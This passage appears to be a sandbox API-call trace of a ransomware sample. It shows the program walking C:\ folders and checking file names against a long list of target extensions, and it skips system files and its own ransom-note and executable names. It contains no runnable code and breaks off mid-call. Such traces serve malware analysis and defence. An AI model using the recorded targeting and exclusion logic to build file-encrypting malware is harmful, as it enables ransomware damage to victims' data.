lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cf") returned 3 [0060.812] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0060.812] lstrlenW (lpString=".cfc") returned 4 [0060.812] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cfm") returned 4 [0060.812] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cfml") returned 5 [0060.812] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0060.812] lstrlenW (lpString=".cfu") returned 4 [0060.812] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".chm") returned 4 [0060.812] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cin") returned 4 [0060.812] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".class") returned 6 [0060.812] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0060.812] lstrlenW (lpString=".clx") returned 4 [0060.812] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".config") returned 7 [0060.812] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0060.812] lstrlenW (lpString=".cpp") returned 4 [0060.812] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cr2") returned 4 [0060.812] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".crt") returned 4 [0060.812] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".crw") returned 4 [0060.813] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".cs") returned 3 [0060.813] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0060.813] lstrlenW (lpString=".css") returned 4 [0060.813] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".csv") returned 4 [0060.813] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".cub") returned 4 [0060.813] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dae") returned 4 [0060.813] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dat") returned 4 [0060.813] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".db") returned 3 [0060.813] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0060.813] lstrlenW (lpString=".dbf") returned 4 [0060.813] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dbx") returned 4 [0060.813] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dc3") returned 4 [0060.813] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dcm") returned 4 [0060.813] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dcr") returned 4 [0060.813] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".der") returned 4 [0060.813] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dib") returned 4 [0060.813] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dic") returned 4 [0060.813] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".dif") returned 4 [0060.813] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0060.813] lstrlenW (lpString=".divx") returned 5 [0060.813] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0060.813] lstrlenW (lpString=".djvu") returned 5 [0060.813] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".dng") returned 4 [0060.814] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".doc") returned 4 [0060.814] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".docm") returned 5 [0060.814] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".docx") returned 5 [0060.814] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".dot") returned 4 [0060.814] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dotm") returned 5 [0060.814] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".dotx") returned 5 [0060.814] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".dpx") returned 4 [0060.814] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dqy") returned 4 [0060.814] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dsn") returned 4 [0060.814] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dt") returned 3 [0060.814] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0060.814] lstrlenW (lpString=".dtd") returned 4 [0060.814] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dwg") returned 4 [0060.814] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dwt") returned 4 [0060.814] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".dx") returned 3 [0060.814] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0060.814] lstrlenW (lpString=".dxf") returned 4 [0060.814] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".edml") returned 5 [0060.814] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0060.814] lstrlenW (lpString=".efd") returned 4 [0060.814] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0060.814] lstrlenW (lpString=".elf") returned 4 [0060.814] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".emf") returned 4 [0060.815] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".emz") returned 4 [0060.815] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".epf") returned 4 [0060.815] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".eps") returned 4 [0060.815] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".epsf") returned 5 [0060.815] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0060.815] lstrlenW (lpString=".epsp") returned 5 [0060.815] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0060.815] lstrlenW (lpString=".erf") returned 4 [0060.815] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".exr") returned 4 [0060.815] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".f4v") returned 4 [0060.815] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".fido") returned 5 [0060.815] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0060.815] lstrlenW (lpString=".flm") returned 4 [0060.815] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".flv") returned 4 [0060.815] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".frm") returned 4 [0060.815] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".fxg") returned 4 [0060.815] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".geo") returned 4 [0060.815] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".gif") returned 4 [0060.815] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".grs") returned 4 [0060.815] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0060.815] lstrlenW (lpString=".gz") returned 3 [0060.815] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0060.816] lstrlenW (lpString=".h") returned 2 [0060.816] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0060.816] lstrlenW (lpString=".hdr") returned 4 [0060.816] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".hpp") returned 4 [0060.816] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".hta") returned 4 [0060.816] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".htc") returned 4 [0060.816] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".htm") returned 4 [0060.816] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".html") returned 5 [0060.816] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0060.816] lstrlenW (lpString=".icb") returned 4 [0060.816] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".ics") returned 4 [0060.816] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".iff") returned 4 [0060.816] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".inc") returned 4 [0060.816] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0060.816] lstrlenW (lpString=".indd") returned 5 [0060.816] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0060.816] lstrlenW (lpString=".ini") returned 4 [0060.816] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0060.816] lstrlenW (lpString="desktop.ini") returned 11 [0060.816] lstrlenW (lpString=".2020") returned 5 [0060.816] lstrcmpiW (lpString1=".2020", lpString2="p.ini") returned -1 [0060.816] lstrlenW (lpString="desktop.ini") returned 11 [0060.816] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0060.816] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0060.816] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0060.816] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0060.816] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0060.816] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0060.816] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0060.816] lstrcmpiW (lpString1="winhost.exe", lpString2="desktop.ini") returned 1 [0060.817] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0060.817] FindNextFileW (in: hFindFile=0x5a1db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.817] FindClose (in: hFindFile=0x5a1db0 | out: hFindFile=0x5a1db0) returned 1 [0060.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.817] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0060.817] FindClose (in: hFindFile=0x5a0d68 | out: hFindFile=0x5a0d68) returned 1 [0060.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x4b0000) returned 1 [0060.817] FindNextFileW (in: hFindFile=0x501028, lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0060.817] lstrlenW (lpString="C:\\Boot") returned 7 [0060.817] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0060.817] lstrlenW (lpString="Boot") returned 4 [0060.817] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0060.817] lstrlenW (lpString="C:\\Boot") returned 7 [0060.817] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1d70 [0060.817] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.817] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0060.818] lstrlenW (lpString="BCD") returned 3 [0060.818] lstrlenW (lpString=".1cd") returned 4 [0060.818] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".3ds") returned 4 [0060.818] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".3fr") returned 4 [0060.818] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".3g2") returned 4 [0060.818] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".3gp") returned 4 [0060.818] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".7z") returned 3 [0060.818] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0060.818] lstrlenW (lpString=".accda") returned 6 [0060.818] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".accdb") returned 6 [0060.818] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".accdc") returned 6 [0060.818] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".accde") returned 6 [0060.818] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".accdt") returned 6 [0060.818] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".accdw") returned 6 [0060.818] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".adb") returned 4 [0060.818] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".adp") returned 4 [0060.818] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".ai") returned 3 [0060.818] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0060.818] lstrlenW (lpString=".ai3") returned 4 [0060.818] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".ai4") returned 4 [0060.818] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0060.818] lstrlenW (lpString=".ai5") returned 4 [0060.819] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".ai6") returned 4 [0060.819] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".ai7") returned 4 [0060.819] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".ai8") returned 4 [0060.819] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".anim") returned 5 [0060.819] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".arw") returned 4 [0060.819] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".as") returned 3 [0060.819] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0060.819] lstrlenW (lpString=".asa") returned 4 [0060.819] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asc") returned 4 [0060.819] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".ascx") returned 5 [0060.819] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asm") returned 4 [0060.819] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asmx") returned 5 [0060.819] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asp") returned 4 [0060.819] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".aspx") returned 5 [0060.819] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asr") returned 4 [0060.819] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".asx") returned 4 [0060.819] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".avi") returned 4 [0060.819] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0060.819] lstrlenW (lpString=".avs") returned 4 [0060.819] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".backup") returned 7 [0060.820] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".bak") returned 4 [0060.820] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".bay") returned 4 [0060.820] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".bd") returned 3 [0060.820] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0060.820] lstrlenW (lpString=".bin") returned 4 [0060.820] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".bmp") returned 4 [0060.820] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".bz2") returned 4 [0060.820] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".c") returned 2 [0060.820] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0060.820] lstrlenW (lpString=".cdr") returned 4 [0060.820] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".cer") returned 4 [0060.820] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".cf") returned 3 [0060.820] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0060.820] lstrlenW (lpString=".cfc") returned 4 [0060.820] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".cfm") returned 4 [0060.820] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0060.820] lstrlenW (lpString=".cfml") returned 5 [0060.820] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cfu") returned 4 [0060.821] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".chm") returned 4 [0060.821] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cin") returned 4 [0060.821] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".class") returned 6 [0060.821] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".clx") returned 4 [0060.821] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".config") returned 7 [0060.821] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cpp") returned 4 [0060.821] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cr2") returned 4 [0060.821] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".crt") returned 4 [0060.821] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".crw") returned 4 [0060.821] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cs") returned 3 [0060.821] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0060.821] lstrlenW (lpString=".css") returned 4 [0060.821] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".csv") returned 4 [0060.821] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".cub") returned 4 [0060.821] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".dae") returned 4 [0060.821] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0060.821] lstrlenW (lpString=".dat") returned 4 [0060.822] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".db") returned 3 [0060.822] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0060.822] lstrlenW (lpString=".dbf") returned 4 [0060.822] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dbx") returned 4 [0060.822] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dc3") returned 4 [0060.822] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dcm") returned 4 [0060.822] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dcr") returned 4 [0060.822] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".der") returned 4 [0060.822] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dib") returned 4 [0060.822] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dic") returned 4 [0060.822] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dif") returned 4 [0060.822] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".divx") returned 5 [0060.822] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".djvu") returned 5 [0060.822] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dng") returned 4 [0060.822] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".doc") returned 4 [0060.822] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".docm") returned 5 [0060.822] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".docx") returned 5 [0060.822] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dot") returned 4 [0060.822] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0060.822] lstrlenW (lpString=".dotm") returned 5 [0060.823] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dotx") returned 5 [0060.823] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dpx") returned 4 [0060.823] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dqy") returned 4 [0060.823] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dsn") returned 4 [0060.823] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dt") returned 3 [0060.823] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0060.823] lstrlenW (lpString=".dtd") returned 4 [0060.823] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dwg") returned 4 [0060.823] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dwt") returned 4 [0060.823] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".dx") returned 3 [0060.823] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0060.823] lstrlenW (lpString=".dxf") returned 4 [0060.823] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".edml") returned 5 [0060.823] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".efd") returned 4 [0060.823] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".elf") returned 4 [0060.823] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".emf") returned 4 [0060.823] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".emz") returned 4 [0060.823] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".epf") returned 4 [0060.823] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".eps") returned 4 [0060.823] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0060.823] lstrlenW (lpString=".epsf") returned 5 [0060.823] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0060.824] lstrlenW (lpString=".epsp") returned 5 [0060.824] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0060.824] lstrlenW (lpString=".erf") returned 4 [0060.824] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0060.824] lstrlenW (lpString=".exr") returned 4 [0060.824] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0060.824] lstrlenW (lpString=".f4v") returned 4 [0060.824] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0060.824] lstrlenW (lpString=".fido") returned 5 [0060.824] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.824] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33ef808 | out: 